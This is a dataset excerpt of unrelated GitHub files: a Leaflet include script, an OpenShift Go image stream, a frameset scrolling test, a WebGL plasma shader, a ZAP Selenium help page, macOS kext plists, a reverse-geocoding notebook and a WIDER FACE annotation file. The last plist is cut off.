text
stringlengths
2
99.7k
meta
dict
(function() { function getFiles() { var memo = {}, files = [], i, src; function addFiles(srcs) { for (var j = 0, len = srcs.length; j < len; j++) { memo[srcs[j]] = true; } } for (i in deps) { addFiles(deps[i].src); } for (src in memo) { files.push(src); } return files; } var scripts = getFiles(); function getSrcUrl() { var scripts = document.getElementsByTagName('script'); for (var i = 0; i < scripts.length; i++) { var src = scripts[i].src; if (src) { var res = src.match(/^(.*)leaflet.draw-include\.js$/); if (res) { return res[1] + '../src/'; } } } } var path = getSrcUrl(); for (var i = 0; i < scripts.length; i++) { document.writeln("<script src='" + path + scripts[i] + "'></script>"); } })();
{ "pile_set_name": "Github" }
{ "kind": "ImageStream", "apiVersion": "v1", "metadata": { "name": "golang", "creationTimestamp": null, "annotations": { "openshift.io/display-name": "Go" } }, "spec": { "lookupPolicy": { "local": false }, "tags": [ { "name": "latest", "annotations": { "description": "Build and run Go applications on UBI. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.\n\nWARNING: By selecting this tag, your application will automatically update to use the latest version of Go available on OpenShift, including major version updates.", "iconClass": "icon-go-gopher", "openshift.io/display-name": "Go (Latest)", "openshift.io/provider-display-name": "Red Hat, Inc.", "sampleRepo": "https://github.com/sclorg/golang-ex.git", "supports": "golang", "tags": "builder,golang,go" }, "from": { "kind": "ImageStreamTag", "name": "1.13.4-ubi8" }, "generation": null, "importPolicy": {}, "referencePolicy": { "type": "Local" } }, { "name": "1.13.4-ubi8", "annotations": { "description": "Build and run Go applications on UBI 8. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.", "iconClass": "icon-go-gopher", "openshift.io/display-name": "Go 1.13.4 (UBI 8)", "openshift.io/provider-display-name": "Red Hat, Inc.", "sampleRepo": "https://github.com/sclorg/golang-ex.git", "supports": "golang", "tags": "builder,golang,go" }, "from": { "kind": "DockerImage", "name": "registry.redhat.io/ubi8/go-toolset:1.13.4" }, "generation": null, "importPolicy": {}, "referencePolicy": { "type": "Local" } }, { "name": "1.13.4-ubi7", "annotations": { "description": "Build and run Go applications on UBI 7. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.", "iconClass": "icon-go-gopher", "openshift.io/display-name": "Go 1.13.4 (UBI 7)", "openshift.io/provider-display-name": "Red Hat, Inc.", "sampleRepo": "https://github.com/sclorg/golang-ex.git", "supports": "golang", "tags": "builder,golang,go" }, "from": { "kind": "DockerImage", "name": "registry.redhat.io/ubi7/go-toolset:1.13.4" }, "generation": null, "importPolicy": {}, "referencePolicy": { "type": "Local" } } ] }, "status": { "dockerImageRepository": "" } }
{ "pile_set_name": "Github" }
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ <- Greek 𐌀𐌁𐌂𐌃𐌄𐌅𐌆𐌇𐌈𐌉𐌊𐌋𐌌𐌍𐌎𐌏𐌐𐌑𐌒𐌓𐌔𐌕𐌖𐌗𐌘𐌙𐌚𐌛𐌜𐌝 <- Etruscan ABCDEFGHIJKLMNOPQRSTUVWXYZ <- Latin АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ <- Cyrillic 𐌰𐌱𐌲𐌳𐌴𐌵𐌶𐌷𐌸𐌹𐌺𐌻𐌼𐌽𐌾𐌿𐍀𐍁𐍂𐍃𐍄𐍅𐍆𐍇𐍈 <- Gothic אבגדהוזחטיךכלםמןנסעףפץצקרש <- Hebrew
{ "pile_set_name": "Github" }
<frameset cols="50%,50%"> <frameset rows="20%,20%,20%,20%,20%"> <frame frameborder="0" scrolling="no" src="data:text/html,<body style='overflow:scroll'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="no" src="data:text/html,<body style='overflow:auto'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="no" src="data:text/html,<body style='overflow:hidden'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="no" src="data:text/html,<body style='overflow:visible'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="no" src="data:text/html,<body style='overflow:inherit'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> </frameset> <frameset rows="20%,20%,20%,20%,20%"> <frame frameborder="0" scrolling="yes" src="data:text/html,<body style='overflow:scroll'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="yes" src="data:text/html,<body style='overflow:auto'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="yes" src="data:text/html,<body style='overflow:hidden'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="yes" src="data:text/html,<body style='overflow:visible'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> <frame frameborder="0" scrolling="yes" src="data:text/html,<body style='overflow:inherit'>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>X<br>"> </frameset> </frameset>
{ "pile_set_name": "Github" }
// define namespaces var THREEx = THREEx || {}; THREEx.ShaderLib = THREEx.ShaderLib || {}; THREEx.UniformsLib = THREEx.UniformsLib || {}; THREEx.UniformsLib['plasma'] = { time : { type : "f", value: 0.0 }, scale : { type : "f", value: 1.0 }, rotation: { type : "f", value: 0.0 }, opacity : { type : "f", value: 1.0 }, c0 : { type : "f", value: 5.0 }, c1 : { type : "f", value: 3.0 }, c2 : { type : "f", value: 11.0 }, c3 : { type : "f", value: 7.0 }, c4 : { type : "f", value: 9.0 }, c5 : { type : "f", value: 3.0 } }; THREEx.ShaderLib['plasma'] = { vertexShader: [ "#ifdef GL_ES", "precision highp float;", "#endif", "varying vec2 vUv;", "void main(){", "vUv = uv;", "gl_Position = projectionMatrix * modelViewMatrix * vec4(position,1.0);", "}" ].join( "\n" ), fragmentShader: [ "#ifdef GL_ES", "precision highp float;", "#endif", "varying vec2 vUv;", "uniform float time;", "uniform float scale;", "uniform float rotation;", "uniform float opacity;", "uniform float c0, c1, c2, c3, c4, c5;", // todo zoom and rotation of vec2 point "vec2 rotoZoom(const vec2 point, const float scale, const float rotation){", "vec2 tmp;", "tmp.x = point.x * cos(rotation) - point.y * sin(rotation);", "tmp.y = point.x * sin(rotation) + point.y * cos(rotation);", "tmp = tmp * scale;", "return tmp;", "}", // based on THREE.Color.setHSV() // based on Mads Elvheim / Madsy http://code.google.com/p/opengl3-freenode/wiki/ColorSpaceConversions "vec3 HSVtoRGB(const vec3 color){", "float h = color.r;", "float s = color.g;", "float v = color.b;", "float i = floor(h * 6.0);", "float f = (h * 6.0) - i;", "float p = v * (1.0 - s);", "float q = v * (1.0 - f * s);", "float t = v * (1.0 - (1.0 - f) * s);", "vec3 result;", "if( i < 1.0 ) result = vec3(v,t,p);", "else if( i < 2.0 ) result = vec3(q,v,p);", "else if( i < 3.0 ) result = vec3(p,v,t);", "else if( i < 4.0 ) result = vec3(p,q,v);", "else if( i < 5.0 ) result = vec3(t,p,v);", "else if( i < 6.0 ) result = vec3(v,p,q);", "else result = vec3(v,t,p);", "return result;", "}", // default value "#ifndef ROTOZOOM", "#define ROTOZOOM 1", "#endif", "#ifndef USEHSV", "#define USEHSV 1", "#endif", "void main(){", "vec2 p = -1.0 + 2.0 * vUv;", "#if ROTOZOOM", "p = rotoZoom(p, scale, rotation);", "#endif", "float cossin1 = cos(p.x*c0+sin(time*1.3)) - sin(p.y*c3-cos(time)) + sin(time);", "float cossin2 = cos(p.y*c1+cos(c1*time/c4)) * sin(p.x*c4*sin(time)) - cos(time);", "float cossin3 = cos(p.x*c2+sin(c2*time/c5)) + sin(p.y*c5+cos(time)) + cos(time);", //"vec3 color = vec3(abs(cossin1*sin(p.x)), cossin2*sin(p.y), cossin3*sin(p.x));", "vec3 color = vec3(abs(cossin1*sin(p.x)), 0.6 - 0.4* abs(cossin2*sin(p.y)), 0.5 - 0.3*(cossin3*sin(p.x)));", "#if USEHSV", "color = HSVtoRGB(color);", "#endif", "gl_FragColor = vec4(color, opacity);", //"gl_FragColor = vec4(cossin1*sin(p.x), cossin2*sin(p.y), cossin3*sin(p.x), opacity);", "}" ].join( "\n" ) };
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Selenium</title> </head> <body bgcolor="#ffffff"> <h1>Selenium</h1> <p>The Selenium add-on provides WebDrivers, for other add-ons, to invoke and remotely control web browsers. It's also bundled the HtmlUnit web browser, an headless Java based web browser. <p>The add-on also adds a right click option to ZAP panels that list URLs (such at the History and Sites tree) which allows you to open the selected URL in any of the supported browsers. <h2>Supported Browsers</h2> <p>The following web browsers are supported: <table border="2"> <tr> <th>Name</th> <th>ID</th> <th>Requirements/Notes</th> </tr> <tr> <td>Chrome</td> <td>chrome</td> <td>The following versions are known to work: 59 and 60 (older versions might work too). Requires ChromeDriver, if not on the system's PATH, it can be set in the options. For more information on ChromeDriver and how to obtain it refer to the <a href="https://sites.google.com/a/chromium.org/chromedriver/">ChromeDriver website</a>. </td> </tr> <tr> <td>Firefox</td> <td>firefox</td> <td>The following versions are known to work: 45 (ESR), 46, 47.0.1, 54, and 55 (older versions might work too). Some versions are known to not work, for example, 47.0. Newer versions (&ge; 48) require geckodriver, it can be set in the options. For more information on geckodriver and how to obtain it refer to the <a href="https://github.com/mozilla/geckodriver">geckodriver website</a> (see footer note for caveat when using geckodriver). </td> </tr> <tr> <td>HtmlUnit</td> <td>htmlunit</td> <td>Bundled browser, does not have any requirement.</td> </tr> <tr> <td>Internet Explorer</td> <td>ie</td> <td>The following version is known to work: 11 (older versions might work too). Requires IEDriverServer, if not on the system's PATH, it can be set in the options. For more information on IEDriverServer refer to the <a href="https://code.google.com/p/selenium/wiki/InternetExplorerDriver">IEDriverServer website</a> (see footer note for caveat when using Internet Explorer). </td> </tr> <tr> <td>Opera</td> <td>opera</td> <td>Temporarily not working.</td> </tr> <tr> <td>PhantomJS</td> <td>phantomjs</td> <td>The following version is known to work: 2.1.1 (older versions might work too). Requires PhantomJS binary, if not on the system's PATH, it can be set in the options. For more information on PhantomJS and how to obtain it refer to the <a href="http://phantomjs.org/">PhantomJS website</a> (see footer note for caveat when using PhantomJS). </td> </tr> <tr> <td>Safari</td> <td>safari</td> <td>&nbsp;</td> </tr> </table> <p>To use Firefox, Chrome, Internet Explorer, Opera, PhantomJS and Safari, you must have them installed in your system. The ID of the browser can be used to choose the browser when configuring ZAP through the command line or using the ZAP API (for example, to set the AJAX Spider to use one or other browser). <p> Some of the requirements (e.g. WebDrivers) of the browsers can be configured in the <a href="options.html">Options Selenium screen</a>. <h2>Bundled WebDrivers</h2> ZAP provides add-ons with the WebDrivers, when those add-ons are installed ZAP will attempt to use those bundled WebDrivers by default. Some OSs might not have a WebDriver for some of the browsers, in those cases ZAP will inform, in the options panel, that there's no bundled WebDriver available. The bundled WebDrivers can also be (re)set with the 'Bundled' button (for example, if another WebDriver was manually set). Not all browser versions are supported with the bundled WebDrivers, it's recommended that newer/latest versions of the browsers be used whenever possible. <p> <strong>Note:</strong> ZAP add-ons can add additional browsers. <p> <strong>Firefox/geckodriver Note:</strong> There's an issue (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1103196">Bug 1103196</a>) that prevents HTTPS sites from being used in versions &ge; 48 and &lt; 52. <p> <strong>PhantomJS Note:</strong> There's an issue (<a href="https://github.com/ariya/phantomjs/issues/11342">Issue #11342</a>) that prevents sites at localhost, 127.0.0.1 and ::1 from being proxied through ZAP. Until a fix is available is advised to not use it in those cases. Some add-ons might choose to show warning message when that happens. As workaround one could define, in the <code>hosts</code> file, a domain name mapping to the local address and use that domain name instead. <p> <strong>Internet Explorer Note:</strong> Not all versions of Internet Explorer work out of the box, refer to the <a href="https://code.google.com/p/selenium/wiki/InternetExplorerDriver#Required_Configuration">IEDriverServer website</a> for more details on how to configure them. <h2>See also</h2> <table> <tr> <td>&nbsp;&nbsp;&nbsp;&nbsp;</td> <td><a href="options.html">Options Selenium screen</a></td> <td>for an overview of the Selenium Options</td> </tr> <tr> <td>&nbsp;&nbsp;&nbsp;&nbsp;</td> <td><a href="api.html">API</a></td> <td>for an overview of the Selenium API</td> </tr> </table> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>17B35a</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>IntelGraphicsDVMTFixup</string> <key>CFBundleIdentifier</key> <string>com.sherlocks.IntelGraphicsDVMTFixup</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>IntelGraphicsDVMTFixup</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.2.0</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.2.0</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>9A235</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>17A360</string> <key>DTSDKName</key> <string>macosx10.13</string> <key>DTXcode</key> <string>0900</string> <key>DTXcodeBuild</key> <string>9A235</string> <key>IOKitPersonalities</key> <dict> <key>com.sherlocks.IntelGraphicsDVMTFixup</key> <dict> <key>CFBundleIdentifier</key> <string>com.sherlocks.IntelGraphicsDVMTFixup</string> <key>IOClass</key> <string>IntelGraphicsDVMTFixup</string> <key>IOMatchCategory</key> <string>IntelGraphicsDVMTFixup</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOKit</string> </dict> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2017 Sherlocks, Rehabman, lvs1974. All rights reserved.</string> <key>OSBundleCompatibleVersion</key> <string>1.0</string> <key>OSBundleLibraries</key> <dict> <key>as.vit9696.Lilu</key> <string>1.2.0</string> <key>com.apple.kpi.bsd</key> <string>12.0.0</string> <key>com.apple.kpi.dsep</key> <string>12.0.0</string> <key>com.apple.kpi.iokit</key> <string>12.0.0</string> <key>com.apple.kpi.libkern</key> <string>12.0.0</string> <key>com.apple.kpi.mach</key> <string>12.0.0</string> <key>com.apple.kpi.unsupported</key> <string>12.0.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> </plist>
{ "pile_set_name": "Github" }
{ "metadata": { "name": "", "signature": "sha256:278e046efbf447c0419efcb74e9ce660ca855e4a9aeef3da10a80cb3ca4e11e6" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Installation" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```\n", "pip install reverse_geocoder\n", "```\n", "OR\n", "```\n", "pip install --upgrade reverse_geocoder\n", "```" ] }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Import Library" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import reverse_geocoder as rg" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 32 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Geocoding a Single Coordinate" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import pprint\n", "pp = pprint.PrettyPrinter(indent=4)\n", "coordinate = (51.520328, -0.097712)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 33 }, { "cell_type": "code", "collapsed": false, "input": [ "result = rg.get(coordinate) # default mode = 2" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 34 }, { "cell_type": "code", "collapsed": false, "input": [ "pp.pprint(result)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "{ 'admin1': 'England',\n", " 'admin2': 'Greater London',\n", " 'cc': 'GB',\n", " 'lat': '51.51988',\n", " 'lon': '-0.09446',\n", " 'name': 'Barbican'}\n" ] } ], "prompt_number": 35 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Geocoding Multiple Coordinates" ] }, { "cell_type": "code", "collapsed": false, "input": [ "coordinates = (51.5214588,-0.1729636),(9.936033, 76.259952),(37.38605,-122.08385)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 36 }, { "cell_type": "code", "collapsed": false, "input": [ "results = rg.search(coordinates) # default mode = 2" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 37 }, { "cell_type": "code", "collapsed": false, "input": [ "pp.pprint(results)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "[ { 'admin1': 'England',\n", " 'admin2': 'Greater London',\n", " 'cc': 'GB',\n", " 'lat': '51.51116',\n", " 'lon': '-0.18426',\n", " 'name': 'Bayswater'},\n", " { 'admin1': 'Kerala',\n", " 'admin2': 'Ernakulam',\n", " 'cc': 'IN',\n", " 'lat': '9.93988',\n", " 'lon': '76.26022',\n", " 'name': 'Cochin'},\n", " { 'admin1': 'California',\n", " 'admin2': 'Santa Clara County',\n", " 'cc': 'US',\n", " 'lat': '37.38605',\n", " 'lon': '-122.08385',\n", " 'name': 'Mountain View'}]\n" ] } ], "prompt_number": 38 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Single Process Geocoding" ] }, { "cell_type": "code", "collapsed": false, "input": [ "coordinates = (51.459185, -2.585109),(1.292697, 103.852033),(-27.450283, 153.016957)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 39 }, { "cell_type": "code", "collapsed": false, "input": [ "results_slow = rg.search(coordinates,mode=1)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 40 }, { "cell_type": "code", "collapsed": false, "input": [ "pp.pprint(results_slow)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "[ { 'admin1': 'England',\n", " 'admin2': 'Bristol',\n", " 'cc': 'GB',\n", " 'lat': '51.45523',\n", " 'lon': '-2.59665',\n", " 'name': 'Bristol'},\n", " { 'admin1': '',\n", " 'admin2': '',\n", " 'cc': 'SG',\n", " 'lat': '1.28967',\n", " 'lon': '103.85007',\n", " 'name': 'Singapore'},\n", " { 'admin1': 'Queensland',\n", " 'admin2': 'Brisbane',\n", " 'cc': 'AU',\n", " 'lat': '-27.46141',\n", " 'lon': '153.02311',\n", " 'name': 'Spring Hill'}]\n" ] } ], "prompt_number": 41 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Geocoding from an Input File" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import csv\n", "input_filename = '/Users/ajay/Workspace/pydata_demo/coordinates_10000.csv'\n", "output_filename = '/Users/ajay/Workspace/pydata_demo/coordinates_10000_geocoded.csv'\n", "cities = [(row[0],row[1]) for row in csv.reader(open(input_filename,'rt'),delimiter='\\t')]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 42 }, { "cell_type": "code", "collapsed": false, "input": [ "pp.pprint(cities[0:5])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "[ ('13.9280531', '100.3735803'),\n", " ('13.7233157', '-89.1415332'),\n", " ('28.6440457', '-81.122403'),\n", " ('35.9105783', '128.817739'),\n", " ('43.2615353', '-2.9267777')]\n" ] } ], "prompt_number": 43 }, { "cell_type": "code", "collapsed": false, "input": [ "results = rg.search(cities)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 44 }, { "cell_type": "code", "collapsed": false, "input": [ "rows = []\n", "for idx, city in enumerate(cities):\n", " write_row = []\n", " lat = city[0]\n", " lon = city[1]\n", " gdata = results[idx]\n", " rows.append([lat,lon,gdata['name'],gdata['admin1'],gdata['admin2'],gdata['cc']])\n", "csvwriter = csv.writer(open(output_filename,'wt'),delimiter='\\t')\n", "csvwriter.writerows(rows)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 45 }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 45 } ], "metadata": {} } ] }
{ "pile_set_name": "Github" }
<annotation> <folder>widerface</folder> <filename>12--Group_12_Group_Group_12_Group_Group_12_481.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>737</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>830</xmin> <ymin>179</ymin> <xmax>876</xmax> <ymax>237</ymax> </bndbox> <lm> <x1>836.938</x1> <y1>200.089</y1> <x2>856.205</x2> <y2>197.496</y2> <x3>843.978</x3> <y3>210.835</y3> <x4>844.719</x4> <y4>223.062</y4> <x5>862.134</x5> <y5>218.987</y5> <visible>0</visible> <blur>0.62</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>861</xmin> <ymin>90</ymin> <xmax>911</xmax> <ymax>144</ymax> </bndbox> <lm> <x1>869.344</x1> <y1>113.062</y1> <x2>890.312</x2> <y2>102.75</y2> <x3>884.812</x3> <y3>120.625</y3> <x4>882.062</x4> <y4>132.656</y4> <x5>900.625</x5> <y5>122.688</y5> <visible>0</visible> <blur>0.61</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>705</xmin> <ymin>153</ymin> <xmax>755</xmax> <ymax>198</ymax> </bndbox> <lm> <x1>714.603</x1> <y1>169.929</y1> <x2>733.938</x2> <y2>164.54</y2> <x3>723.478</x3> <y3>181.656</y3> <x4>721.893</x4> <y4>190.848</y4> <x5>735.205</x5> <y5>186.411</y5> <visible>1</visible> <blur>0.62</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>711</xmin> <ymin>249</ymin> <xmax>757</xmax> <ymax>306</ymax> </bndbox> <lm> <x1>718.5</x1> <y1>263.786</y1> <x2>736.0</x2> <y2>265.571</y2> <x3>722.429</x3> <y3>279.143</y3> <x4>718.143</x4> <y4>287.0</y4> <x5>738.143</x5> <y5>287.357</y5> <visible>0</visible> <blur>0.63</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>619</xmin> <ymin>119</ymin> <xmax>662</xmax> <ymax>178</ymax> </bndbox> <lm> <x1>632.5</x1> <y1>140.5</y1> <x2>653.125</x2> <y2>145.0</y2> <x3>638.875</x3> <y3>157.0</y3> <x4>629.875</x4> <y4>161.125</y4> <x5>647.125</x5> <y5>164.125</y5> <visible>0</visible> <blur>0.65</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>493</xmin> <ymin>305</ymin> <xmax>538</xmax> <ymax>349</ymax> </bndbox> <lm> <x1>510.714</x1> <y1>314.214</y1> <x2>526.429</x2> <y2>325.643</y2> <x3>513.0</x3> <y3>330.5</y3> <x4>499.571</x4> <y4>329.357</y4> <x5>514.143</x5> <y5>339.357</y5> <visible>0</visible> <blur>0.59</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>567</xmin> <ymin>557</ymin> <xmax>625</xmax> <ymax>593</ymax> </bndbox> <lm> <x1>588.089</x1> <y1>583.393</y1> <x2>593.277</x2> <y2>564.125</y2> <x3>602.911</x3> <y3>573.759</y3> <x4>609.58</x4> <y4>586.728</y4> <x5>612.545</x5> <y5>571.906</y5> <visible>0</visible> <blur>0.54</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>493</xmin> <ymin>572</ymin> <xmax>539</xmax> <ymax>629</ymax> </bndbox> <lm> <x1>502.643</x1> <y1>594.286</y1> <x2>523.357</x2> <y2>590.357</y2> <x3>516.214</x3> <y3>606.429</y3> <x4>509.786</x4> <y4>614.286</y4> <x5>529.071</x5> <y5>609.643</y5> <visible>0</visible> <blur>0.63</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>409</xmin> <ymin>509</ymin> <xmax>444</xmax> <ymax>558</ymax> </bndbox> <lm> <x1>413.188</x1> <y1>525.812</y1> <x2>426.625</x2> <y2>528.0</y2> <x3>412.875</x3> <y3>535.812</y3> <x4>412.875</x4> <y4>544.25</y4> <x5>426.938</x5> <y5>545.5</y5> <visible>0</visible> <blur>0.6</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>294</xmin> <ymin>157</ymin> <xmax>340</xmax> <ymax>205</ymax> </bndbox> <lm> <x1>305.411</x1> <y1>177.112</y1> <x2>327.897</x2> <y2>174.031</y2> <x3>318.348</x3> <y3>181.424</y3> <x4>311.263</x4> <y4>193.438</y4> <x5>329.746</x5> <y5>192.205</y5> <visible>0</visible> <blur>0.64</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>30</xmin> <ymin>111</ymin> <xmax>84</xmax> <ymax>180</ymax> </bndbox> <lm> <x1>54.75</x1> <y1>130.125</y1> <x2>75.312</x2> <y2>132.312</y2> <x3>67.438</x3> <y3>148.062</y3> <x4>48.625</x4> <y4>154.625</y4> <x5>66.125</x5> <y5>161.188</y5> <visible>0</visible> <blur>0.65</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>111</xmin> <ymin>560</ymin> <xmax>160</xmax> <ymax>620</ymax> </bndbox> <lm> <x1>126.272</x1> <y1>594.054</y1> <x2>146.384</x2> <y2>596.71</y2> <x3>141.071</x3> <y3>588.741</y3> <x4>126.652</x4> <y4>571.665</y4> <x5>153.214</x5> <y5>574.321</y5> <visible>0</visible> <blur>0.62</blur> </lm> <has_lm>1</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>18A391</string> <key>CFBundleIdentifier</key> <string>org.rehabman.injector.FakePCIID-Intel-HDMI-Audio</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>FakePCIID_Intel_HDMI_Audio</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.3.15</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.3.15</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>9F2000</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>10M2518</string> <key>DTSDKName</key> <string>macosx10.6</string> <key>DTXcode</key> <string>0941</string> <key>DTXcodeBuild</key> <string>9F2000</string> <key>IOKitPersonalities</key> <dict> 